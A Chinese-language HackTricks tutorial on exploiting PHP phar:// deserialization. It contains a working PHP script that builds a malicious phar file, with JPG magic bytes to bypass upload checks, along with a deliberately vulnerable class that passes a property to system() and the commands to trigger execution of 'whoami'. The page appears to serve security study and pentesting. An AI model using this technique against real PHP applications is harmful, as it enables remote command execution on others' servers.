phar:// deserialization

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

漏洞赏金提示注册Intigriti,一个由黑客创建的高级漏洞赏金平台!今天加入我们 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

Phar 文件(PHP Archive)文件以序列化格式包含元数据,因此,在解析时,此元数据将被反序列化,您可以尝试利用PHP代码中的反序列化漏洞。

这种特性最好的一点是,即使使用不会评估PHP代码的PHP函数如file_get_contents()、fopen()、file()或file_exists()、md5_file()、filemtime()或filesize(),此反序列化也会发生。

因此,想象一种情况,您可以使用**phar://** 协议使PHP网页获取任意文件的大小,并在代码中找到类似以下类的情况:

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

您可以创建一个 phar 文件,当加载时,将 滥用这个类来执行任意命令,类似于以下内容:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

注意如何在phar文件的开头添加JPG的魔术字节(\xff\xd8\xff)以绕过可能的文件上传****限制。 使用以下命令编译test.phar文件:

php --define phar.readonly=0 create_phar.php

并利用易受攻击的代码执行 whoami 命令:

php vuln.php

参考资料

Bug赏金提示注册Intigriti,一个由黑客创建的高级bug赏金平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于